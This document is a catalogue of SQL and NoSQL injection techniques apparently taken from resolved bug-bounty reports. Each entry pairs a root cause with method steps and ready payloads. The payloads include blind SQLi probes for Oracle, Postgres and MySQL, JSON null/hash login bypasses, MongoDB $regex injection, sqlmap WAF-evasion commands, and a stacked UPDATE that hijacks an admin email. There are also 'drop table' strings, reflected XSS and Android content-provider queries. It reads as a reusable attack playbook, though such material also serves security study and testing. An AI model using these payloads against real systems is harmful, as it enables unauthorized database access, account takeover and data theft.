- Use ORDER BY N to count columns and length(database())=N to bound the name.
GET /personnel.php?content=profile&rcnum=rc12346'+++and+(select+substr(database(),1,1)+=+'c')+and+'1'='1
GET /personnel.php?content=profile&rcnum=rc12346'+order+by+49--+
GET /personnel.php?content=profile&rcnum=rc12346'+and+(select+length(database())+=+39)+and+'1'='1
Insight — When no data reflects, pick any deterministic DOM string as the TRUE oracle and drive substr()/length() comparisons; the marker replaces error/response-length signals.
Real-world example
ActiveRecord query tampering via JSON [nil]/{} param type juggling
◆ Medium
Specimen #139321 · rails · awarded · 7 votes · resolved
Program railsSurface webChain JSON array/hash param -> IS NULL / no-WHERE query -> pTag account-takeover
Root cause
CVE-2016-6317: because Rails parses JSON request bodies into arrays/hashes and ActiveRecord interprets those structurally, an attacker can make params[:token] evaluate to [nil] (passes the nil? guard but generates IN ('xyz', NULL)) or {} (empty hash eliminates the WHERE clause), producing IS NULL or where-less queries.
Method
- Target an endpoint that does User.find_by_token(params[:token]) / User.where(:col => params[:x]) with a nil-guard.
- Send a JSON body making the param an array with null: {"token":[null]} -> bypasses nil? but adds IN (..., NULL).
- Or send an empty hash: {"token":{}} -> drops the WHERE clause so the finder returns the first record.
- On a password-reset-by-token flow this returns a user record without a valid token -> auth bypass.
POST /reset HTTP/1.1
Content-Type: application/json
{"token":[null]}
# variant that eliminates the WHERE clause entirely:
{"token":{}}
Insight — Whenever a Rails/ORM endpoint takes a value from a JSON body and feeds it to a finder or where(), test array and hash shapes ([null], {}, [1,2]). Structural params change the generated SQL semantics (NULL match / dropped predicate) without any classic injection characters. Server-side fix is .to_s coercion.
Real-world example
Oracle error-based blind with divide-by-zero CASE and char blacklist bypass
◆ Medium
Specimen #3006666 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
Oracle query concatenates the sites/rods/ous params; a CASE WHEN <predicate> THEN 0 ELSE 1 END fed into 1/(...) raises a divide-by-zero error on TRUE, giving a boolean oracle even when =, |, ;, >, < are filtered.
Method
- Break into the query (e.g. close arg list) and append the divide-by-zero CASE probe.
- Read the boolean from presence/absence of the DB error; iterate LIKE 'A%' patterns to walk names.
- Enumerate all_tables / SYS_CONTEXT('USERENV','DB_NAME') char by char.
21,19) AND (SELECT 1/(CASE WHEN SYS_CONTEXT('USERENV','DB_NAME') LIKE 'A%' THEN 0 ELSE 1 END) FROM dual) IS NOT NULL --
21,19) AND (SELECT 1/(CASE WHEN (SELECT table_name FROM all_tables WHERE ROWNUM BETWEEN 1 AND 1) LIKE 'D%' THEN 0 ELSE 1 END) FROM dual) IS NOT NULL --
Insight — When comparison operators (=,<,>) are blacklisted, use LIKE for equality and 1/(CASE..) divide-by-zero as the error oracle; Oracle-specific SYS_CONTEXT and all_tables replace information_schema.
Real-world example
Numeric boolean SQLi with arithmetic (1=1 filter evasion), Oracle
◆ Medium
Specimen #925007 · mtn_group · none · 5 votes · resolved
Program mtn_groupSurface web
Root cause
A numeric param (cid) is concatenated into an Oracle query with no quoting; boolean conditions can be expressed as arithmetic identities to avoid naive 1=1/OR filters.
Method
- Append AND with an arithmetic-true expression to a numeric param and confirm normal vs altered response.
- Confirm DB with SELECT user FROM dual (Oracle) as proof of execution.
GET /selfcare/HomePageDisplay?cid=26 AND 3*2*1=6 AND 498=498&location=MTNA
Insight — In numeric contexts you don't need a quote; and arithmetic identities (3*2*1=6) read as ordinary math to signature filters that block 1=1/OR, giving a stealthy boolean oracle. SELECT user FROM dual proves Oracle backend.
Real-world example
SQLi in a DWR (Direct Web Remoting) typed parameter
◆ Medium
Specimen #214798 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web
Root cause
A Java DWR exec endpoint passes the c0-param0=string:1 value into an Oracle query; appending a quote after the typed literal breaks out, yielding Oracle error-based and heavy-query time-based injection.
Method
- Locate DWR endpoints at /dwr/exec/<Service>.<method> with c0-param0=string:<val>.
- Mark the value with sqlmap's * after the literal (string:1*) and let it fingerprint Oracle and confirm error/time-based.
sqlmap -u "https://TARGET/dwr/exec/EndUserSvc.validateCageCode?callCount=1&c0-scriptName=EndUserSvc&c0-methodName=validateCageCode&c0-id=5096_1489967152565&c0-param0=string:1*"
-- confirmed payloads:
... c0-param0=string:1' AND 9965=DBMS_UTILITY.SQLID_TO_SQLHASH(...)--
... c0-param0=string:1' AND 4917=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)--
Insight — DWR /dwr/exec endpoints with string:/number: typed params are an overlooked Java SQLi surface; inject after the type prefix and use Oracle error funcs (DBMS_UTILITY.SQLID_TO_SQLHASH) or ALL_USERS cartesian heavy-query for time-based.
Real-world example
PostgreSQL time-based blind by replacing the whole numeric value with pg_sleep()
◆ Medium
Specimen #242882 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web
Root cause
viewVideo.asp?t=<int> concatenates the value directly; a PostgreSQL backend (despite the .asp extension) lets the entire numeric value be replaced with a pg_sleep() expression to induce a measurable delay.
Method
- Baseline the response time for a normal integer value.
- Replace the value entirely with pg_sleep(30)-- and compare (ms vs ~15-19s).
GET /viewVideo.asp?t=pg_sleep(__30__)-- (vs t=7 baseline)
Insight — Don't assume the DB from the file extension; an .asp page can front PostgreSQL. In numeric context you can substitute the value outright with the DB-specific delay function (pg_sleep for Postgres, SLEEP for MySQL, DBMS_LOCK.SLEEP/heavy-query for Oracle).
Real-world example
Time-based SQL injection in numeric tile ID path segment
◆ Medium
Specimen #17225 · uzbey · none · 2 votes · resolved
Program uzbeySurface web
Root cause
A tile ID taken from the URL path is concatenated into a SQL query without parameterization, allowing a MySQL expression (sleep()) to be evaluated -> time-based blind SQLi.
Method
- Locate a numeric ID reflected into a query (here a path segment of the tile image script).
- Replace it with a DB expression and observe delayed response.
- Escalate to boolean/UNION extraction.
https://TARGET/tiles1600/693/sleep(10) # ~10s delay confirms injection
Insight — Numeric IDs embedded in URL path segments (not just query params) are common SQLi sinks; a bare sleep(N) is a fast, reliable time-based oracle when responses look identical.
Real-world example
NoSQL operator injection ($regex) in unvalidated Meteor method param
◆ Medium
Specimen #1410357 · rocket_chat · none · 2 votes · resolved
Program rocket_chatSurface apiChain NoSQL operator injection -> room-membership access-contro
Root cause
A room-id argument is not type-validated, so a MongoDB query-operator object is accepted; the ACL check only inspects the first matching room while the data query returns members of every matching room.
Method
- Locate an authenticated method/endpoint that takes an id and does a permission check by that id.
- Instead of a string id, pass a MongoDB operator object such as {$regex: ...}.
- Craft the regex so it matches your own room first (passing the ACL check) plus target rooms.
- Receive data from rooms you cannot access.
Meteor.call('getUsersOfRoom',
{ $regex: '(<MY_ROOM_ID>|<TARGET_ROOM_ID>)' }, // rid: operator object, not a string
true, // showAll
console.log
);
// $regex: '.*' returns users of ANY room
Insight — On Mongo-backed apps (Meteor, Node) any parameter compared for authorization AND reused in a find() is a NoSQL-operator injection sink: send {$ne:null}/{$regex:...}/{$gt:''}. Auth bypass arises when the ACL check matches one document but the data query matches many.
Real-world example
ORM query-builder options (field names, skip/take) not escaped (typeorm, sql)
◆ Medium
Specimen #319458 · nodejs-ecosystem · none · 1 votes · resolved
Program nodejs-ecosystemSurface otherTag graphql
Root cause
ORMs/query builders escape VALUES but pass field names in the where object and the LIMIT/OFFSET (skip/take, limit/offset) parameters straight into SQL. When an app forwards user-supplied query options (sort/filter/pagination) into the ORM without validation, those become SQLi even though the app 'uses parameterized queries'.
Method
- Find where the app passes user-controlled objects/values into ORM find options (where keys, skip, take, limit, offset).
- Inject SQL through a WHERE object KEY (not value) or through the pagination parameter.
- Confirm by observing the emitted query or a differential response.
// typeorm 0.1.12 - inject via WHERE object key:
const opts = { where: { firstName: "Jim" } };
opts.where["age=25 OR 25="] = 25; // key becomes SQL
await repository.find(opts);
// and via pagination:
opts.skip = "OLOLO"; opts.take = "LOLOL";
// node 'sql' 0.78.0 - unescaped LIMIT/OFFSET:
user.select(user.star()).from(user).limit('1; drop table users').toQuery().text;
// => SELECT "users".* FROM "users" LIMIT 1; drop table users
Insight — Pagination and sort/filter parameters wired from HTTP straight into ORM options are a classic overlooked sink. Fuzz ?limit=/?offset=/?skip=/?take= and any dynamic filter/field name, not just values. Cast pagination to int and allow-list column names server-side.
Real-world example
sqlmap WAF-bypass methodology on legacy gov apps (tamper scripts)
◆ Medium
Specimen #197755 · deptofdefense · none · 1 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
Classic numeric-parameter SQLi in legacy .asp / Oracle WebLogic Portal pages, confirmed with sqlmap. The transferable value is the operational recipe: fingerprint the odd DBMS and use tamper scripts to slip past an inline WAF (Blue Coat).
Method
- Enumerate legacy dynamic endpoints with integer params (display.asp?story_id=, listStories.asp?x=, viewVideo.asp?t=, *.portal form fields).
- Run sqlmap high level/risk with --random-agent and DBMS hint.
- When a WAF blocks payloads, chain tamper scripts (between,bluecoat) and use --no-cast / long --time-sec for slow blind extraction.
sqlmap -u 'http://TARGET/submit/display.asp?story_id=98373' --random-agent \
--dbms=HSQLDB --level=5 --risk=3 --tamper=between,bluecoat \
--time-sec=65 --no-cast -v 3
# Oracle WebLogic Portal variant (#674838): time-based blind on a form field,
# fingerprint via ?_nfpb=true&_pageLabel=... ; capture request, feed to:
sqlmap -r req.txt -p MSI_queryType --dbms=Oracle --technique=T --level=5 --risk=3
Insight — Old ASP/WebLogic gov and enterprise apps still harbor trivial numeric SQLi. Recognize the stack (.asp, .portal with _nfpb/_pageLabel = Oracle WebLogic Portal), guess the DBMS, and reach for tamper=between,bluecoat when an inline proxy WAF resets connections on ORDER BY etc.
Real-world example
Error-based SQLi as source/schema disclosure via type mismatch
◆ Medium
Specimen #227102 · deptofdefense · none · votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
A numeric param (crs_id) is concatenated into inline SQL with no cast/validation; feeding a type-mismatch (%0a) or edge value (0) throws an unhandled ASP.NET exception that echoes seven lines of C# source including the inline SELECT, exposing table and column names. Verbose errors turn even non-extractable SQLi into a schema/source leak.
Method
- Send a numeric param a value that forces a conversion error (%0a, a letter) and an edge value (0) to trip different code paths.
- Harvest leaked source lines / inline SQL from the stack trace (table + column names).
- Build a response oracle from the distinct behaviors to map the parameter and WAF.
GET /onlinecatalog/courses.aspx?crs_id=%0a
-> 'Error converting data type varchar to numeric.' (leaks line 174 + source)
GET /onlinecatalog/courses.aspx?crs_id=0
-> 'Either BOF or EOF is True...' (leaks line 177)
GET /onlinecatalog/courses.aspx?crs_id=%C3%A4
-> 'Invalid name parameter' (caught branch)
# Leaked inline SQL reveals schema:
# SELECT Career_Field.CF_Name FROM Career_CORE_PLUS JOIN Career_Field ... where Career_CORE_PLUS.CRS_ID =
Insight — Catalogue the response oracle before extracting: (1) 200 OK valid, (2) TCP reset = WAF blocked a known-bad token like ORDER BY, (3) unhandled exception = injectable+verbose, (4) generic 'invalid' = caught. The exception branch alone leaks source and schema even when the WAF stops data extraction.
Real-world example
Second-order SOQL injection via string-interpolated campaign name
◆ Low
Specimen #1039821 · security · none · 64 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A submitted lead's campaign_name (and email) is later interpolated into a Salesforce SOQL query (SELECT Id FROM Campaign WHERE Name = '#{campaign_name}') during async duplicate detection, allowing SOQL injection at the second-order sink.
Method
- Submit a lead via /leads with a single quote in campaign_name to break the query
- Observe the async MALFORMED_QUERY exception confirming interpolation
- Craft SOQL to alter the WHERE clause / extract data (bounded by SOQL syntax)
POST /leads
campaign_name='&name=A&company_name=B&title=C&phone=D&website=https://e.com
# backend: SELECT Id FROM Campaign WHERE Name = '<injected>'
Insight — Data stored in one request may be interpolated into a query in a later async job (second-order). A single quote that surfaces a MALFORMED_QUERY/parse error reveals string interpolation into SOQL/SQL even without an immediate response.
Real-world example
Android content-provider SQLi (projection/selection) via drozer
◆ Low
Specimen #291764 · nextcloud · USD 150 · 36 votes · resolved
Program nextcloudSurface mobile-android
Root cause
An exported content provider (content://org.nextcloud) concatenates the projection/selection into a raw SQLite query, so any app can inject and read arbitrary tables (CVE-2019-5454).
Method
- Enumerate providers with drozer: run scanner.provider.injection -a <package>
- For flagged URIs, query with a single-quote projection to trigger a SQLite error
- Confirm 'Injection in Projection/Selection' from the unrecognized-token error
- Enumerate tables/data via crafted projection (e.g. read filelist and other tables)
dz> run app.provider.query content://org.nextcloud/ --projection "'"
# error: unrecognized token: "' FROM filelist ORDER BY filename ..."
Insight — Mobile SQLi lives in exported content providers: projection and selection args are frequently string-concatenated into SQLite. drozer's scanner.provider.injection + a lone-quote projection is the fast confirm; impact is cross-app data theft from a low-privilege app.
Real-world example
SQLi in Airflow SQL Check operators via user-supplied partition_clause
◆ Low
Specimen #3078856 · ibb · $505 · 34 votes · resolved
Program ibbSurface webChain authenticated SQLi -> arbitrary command execution on the
Root cause
Apache Airflow's Common SQL provider (SQLTableCheckOperator/SQLColumnCheckOperator) string-built its query and exposed partition_clause as a DAG-trigger parameter, so an authenticated UI user could inject arbitrary SQL into the check query, escalating to commands the DB runs.
Method
- Find a DAG using SQLTableCheckOperator/SQLColumnCheckOperator with partition_clause templated from a DAG param (a recommended pattern)
- As an authenticated UI user, trigger the DAG supplying a malicious partition_clause
- Injected SQL executes in the check query context; escalate to RCE on databases that allow it
partition_clause = "1=1) UNION SELECT ... --" # injected into the operator's generated CHECK query
Insight — Data-pipeline/ETL 'check' or 'quality' operators (Airflow, dbt, Great Expectations) often build raw SQL from clause-shaped params (partition_clause, where, filter). Any operator param that becomes a WHERE/HAVING fragment is a SQLi sink even when the tool markets it as safe.
Real-world example
Android ContentProvider projection injection bypasses URI restriction (CVE-2019-15622)
◆ Low
Specimen #518669 · nextcloud · $100 · 19 votes · resolved
Program nextcloudSurface mobile-androidChain local ContentProvider SQLi -> leak share token -> forg
Root cause
Nextcloud Android's exported FileContentProvider applied its projection-map/column restriction only for ROOT_DIRECTORY matches; other URI matches let a caller inject SQL through the projection string, reading arbitrary tables in filelist.db.
Method
- Query the exported provider with a crafted projection containing SQL
- Because the restriction only covers ROOT_DIRECTORY, the injected 'FROM ocshares --' executes
- Read share tokens/owner_share and forge public share URLs
content query --uri content://org.nextcloud/file --projection "* from ocshares --"
Insight — Exported ContentProviders that concatenate the caller's projection/selection into raw SQL are SQLi sinks reachable by any app on the device. Test each declared URI match separately - guards are often applied to only one branch of the UriMatcher. Injected data (share tokens) can escalate to server-side resource access.
Real-world example
Object injection -> SQL auth bypass via sqlstring escaping confusion
◆ Low
Specimen #1183335 · stripe · awarded · 17 votes · resolved
Program stripeSurface apiChain object injection -> broken SQL WHERE -> authenticationTag account-takeover
Root cause
A JSON body allows an object where a string is expected; the sqlstring escaper (mysql/knex) serializes an object {k:v} into `k`=v (backtick identifier form), turning `email`=? into `email`=`email`=1, a tautology-like clause that bypasses the intended email match.
Method
- Register any user with a known password.
- Send login with the email field as a nested object instead of a string.
- sqlstring escapes the object into backticked identifiers, corrupting the WHERE clause so login succeeds without a valid email match (only a valid password needed).
POST /auth/login
{"email":{"email":1},"password":"1234"}
-- resulting query:
SELECT * FROM `accounts` WHERE `email`=`email`=1
Insight — Node/SQL stacks that don't enforce input types let JSON objects reach the query builder. Like NoSQL operator injection, try replacing a string field with an object; escapers that map {k:v} to identifiers cause WHERE-clause confusion. Fix is type-coercion (JSON.stringify) before querying. Test JSON APIs by sending objects/arrays where strings are expected.
Real-world example
Backtick injection bypasses addslashes in installer
◆ Low
Specimen #983710 · impresscms · none · 14 votes · resolved
Program impresscmsSurface web
Root cause
PHP addslashes() escapes ' " \ NUL but NOT the backtick; a Database-name field wrapped in backticks in a CREATE/USE statement lets an attacker close the identifier and add a second statement.
Method
- Reach the DB-configuration step of the installer
- Put a backtick-based break-out in the 'Database name' field
- Submit; observe an extra database is created
impresscms`;create database `vuln
Insight — When input is placed inside backtick-quoted identifiers (table/db/column names) addslashes/mysqli_real_escape do not protect you - backticks aren't escaped. Test identifier-context sinks (DB name, ORDER BY column, table name) with a lone backtick.
Real-world example
Delimiter-split composite parameter injected into numeric SQL (Concrete5)
◆ Low
Specimen #59664 · concretecms · none · 1 votes · resolved
Program concretecmsSurface webTag file-upload
Root cause
A composite request parameter (listItem[]='peID:accessType:pdID') is exploded on ':' and one sub-field (accessType) is concatenated into a numeric SQL context (`and accessType = <val>`) without validation. Split/packed parameters hide injectable sub-fields that per-parameter filters miss.
Method
- Authenticate as a user allowed to edit page permissions.
- GET the permissions page to harvest a valid anti-CSRF token (ccm_token).
- Submit bulk_remove_access with a crafted listItem[] whose 2nd colon-field carries SQL in numeric context.
# 1) get token:
GET /index.php/tools/required/pages/permissions_access?cID=1&task=remove
# -> ccm_token=1428936611:0eb571540e907ecb0bcea9ccda9550da
# 2) inject via the accessType sub-field of listItem[]:
GET /index.php/tools/required/permissions/categories/page?ccm_token=<TOKEN>&task=bulk_remove_access&cID=1&pkID=1&listItem[]=test:1%20AND%20SQL_INJECTION
# server builds: ... and accessType = 1 AND SQL_INJECTION order by accessType desc
Insight — When a single parameter packs multiple fields (colon/pipe/comma-separated, or JSON), each exploded sub-field is its own sink. Split the composite and fuzz the numeric-looking segment. Also: state-changing SQLi often sits behind a CSRF token you must fetch first.
Real-world example
SQLi inside a base64-encoded JSON blob (email unsubscribe link)
◆ Info
Specimen #150156 · uber · USD 4000 · 93 votes · resolved
Program uberSurface web
Root cause
An email unsubscribe link carried a base64-encoded JSON object in the p= parameter; the user_id field inside it was concatenated into a MySQL query. The encoding hid the injection point from casual testing.
Method
- Notice the unsubscribe link's p= param is base64; decode to reveal JSON {user_id, receiver}.
- Inject SQL into user_id, re-encode the JSON to base64, and resend: user_id='5755 and sleep(12)=1' delays 12s.
- Extract data blind with mid(user(),i,1)='c'# per-character, scripting the encode+request loop.
# decoded p= JSON: {"user_id": "5755 and sleep(12)=1", "receiver": "x"}
# blind extraction char: user_id = "5755 and mid(user(),%d,1)='%c'#" % (pos, ch)
# then json.dumps -> base64encode -> urlencode into p=
Insight — Decode every opaque token/param (base64, JSON, MessagePack) before deciding it's not injectable - the SQLi may live in a field inside the blob. Automate encode -> request -> oracle to exfiltrate through it.
Real-world example
Null-byte query truncation bypasses validation in raw SQL fragments
◆ Info
Specimen #394253 · rails · 1500 · 21 votes · resolved
Program railsSurface webTag webhook
Root cause
Rails ActiveRecord where('col = ?', val) string-interpolates the bind for PostgreSQL such that a NUL (\0) in the value truncates the resulting query string, silently dropping everything after the null - unlike parameterized where(col: val) which raises on null bytes.
Method
- Identify a filter using raw fragment binds: where('title = ?', input) or named binds
- Send input containing a null byte followed by a payload: 'value\0extra'
- The generated SQL keeps only 'value', ignoring '\0extra' - bypassing length/format validation or altering matching
Article.where("title = ?", "test title\0suffix")
# => WHERE (title = 'test title') -- \0suffix silently dropped
# vs Article.where(title: "test title\0suffix") => ArgumentError (string contains null byte)
Insight — Null bytes are a truncation primitive at every layer (SQL string builders, C string APIs, filename/extension checks, LDAP). When a validator and the sink disagree on where the string ends, you get a bypass. Test \0 (and \0 followed by SQL) in any field reaching raw query fragments.
Real-world example
Arbitrary SQL + reflected XSS via base64 GET parameter in admin SQL Query Form
◆ Info
Specimen #149279 · expressionengine · none · 4 votes · resolved
Program expressionengineSurface webChain CSRF (GET) -> arbitrary SQL execution -> reflected XSS
Root cause
The admin SQL Query utility accepts a full query in a GET parameter ('thequery', base64-encoded), executing arbitrary SQL against the app DB; unencoded MySQL error output in the response also yields reflected XSS. CSRF-able because it is a GET.
Method
- Craft a URL with thequery=base64(<arbitrary SQL>) for the admin query runner
- Trick an authenticated admin into clicking it (GET -> CSRF)
- Query runs; malformed SQL echoes unencoded errors -> reflected XSS to read result data
# arbitrary SQL (select * from exp_members):
http://TARGET/ee/admin.php?/cp/utilities/query/run-query&thequery=c2VsZWN0ICogZnJvbSBleHBfbWVtYmVycw==
# reflected XSS via MySQL error (select <svg onload=alert(1)>):
http://TARGET/ee/admin.php?/cp/utilities/query/run-query&thequery=c2VsZWN0IDxzdmcgb25sb2FkPWFsZXJ0KDEpPg==
Insight — Admin 'run raw SQL/console' features exposed over GET are CSRF + SQLi + XSS all at once. Base64/obfuscated parameters are not a security control - decode them. Malformed SQL that surfaces DB errors unencoded turns error output into an XSS reflection point that also exfiltrates query results.
Real-world example
SQLi + reflected XSS via 404 / error request-logger
◆ Info
Specimen #31023 · khanacademy · none · 4 votes · resolved
Program khanacademySurface webChain 404 request -> unparameterized error_404_logger INSERT -&
Root cause
A CMS (MODx) logs requests for missing pages by inserting the raw request path into an INSERT statement (error_404_logger) without parameterization, and echoes the failing SQL/path in the error page; the request URI is thus both a SQL-injection sink and a reflected-XSS sink.
Method
- Request a non-existent path with a single quote to break the INSERT (SQLi confirmed via MySQL syntax error)
- Inject SQL after closing the string: /path',(subquery),1,1,1)#
- For XSS, request a path containing HTML; it is reflected in the DB-error page
GET /Campin/jeatest' (SQLi: INSERT ... VALUES ('/Campin/jeatest'',...))
GET /Campin/qsdqsd',(commands),1,1,1)#
GET /Campin/jeatest'"><script>alert(4);</script> (reflected in error page)
Insight — Error/analytics loggers are an overlooked injection surface: the request path, User-Agent, Referer and Host often get written straight into DB inserts and echoed in verbose error pages. Probe 404s and error responses with ' and HTML, not just app parameters.
Real-world example
ORDER BY-clause injection escalated via stacked query (Concrete CMS)
◆ Info
Specimen #38778 · concretecms · none · 3 votes · resolved
Program concretecmsSurface webChain ORDER BY injection -> stacked UPDATE of admin email ->Tag account-takeover
Root cause
ccm_order_by / ccm_order_by_direction in the user-search endpoint are placed unescaped into an ORDER BY clause; the direction value permits a stacked ; statement, allowing arbitrary UPDATE.
Method
- As an authenticated admin, hit the users/submit search with a crafted ccm_order_by_direction.
- Append a stacked ;UPDATE ... to modify data (e.g. an account email), then chain to takeover.
http://TARGET/conc/index.php/ccm/system/search/users/submit?&ccm_order_by=u.uEmail&ccm_order_by_direction=desc;UPDATE `conc501`.`Users` SET `uEmail`='user@evilhost' WHERE `Users`.`uID`=2;--
Insight — Sorting parameters (order_by, direction) are classic non-parameterizable SQLi sinks because identifiers/keywords can't use bind vars; test them for stacked-query write primitives, not just reads.
Real-world example
Boolean-blind SQLi read via differential HTTP redirect
◆ Info
Specimen #23014 · uzbey · none · 3 votes · resolved
Program uzbeySurface web
Root cause
rotate-image?fid (and a sibling path-segment tile ID) is injected into a MySQL query; the app returns different redirects (access-denied vs page-not-found) for TRUE vs FALSE, and time-based BENCHMARK works in the RESTful path segment.
Method
- Send boolean predicates and read the redirect target (access denied = FALSE, not found = TRUE).
- Fingerprint with substring(version(),1,1)=5 and count columns with order by N.
- On path-segment injection points, use BENCHMARK for a time oracle.
https://staging.uzbey.com/rotate-image?fid=2841+and+substring(version(),1,1)=5 (TRUE)
https://staging.uzbey.com/rotate-image?fid=2841+and+1=1+order+by+1-- (TRUE)
https://staging.uzbey.com/zoom-image/BENCHMARK(10000000,SHA1(1)) (time-based, path segment)
Insight — A redirect Location (or any status/route difference), not just page text, can be the boolean oracle. Also test RESTful path segments (/zoom-image/<id>) as injection points and use BENCHMARK() when sleep()-style delays are awkward.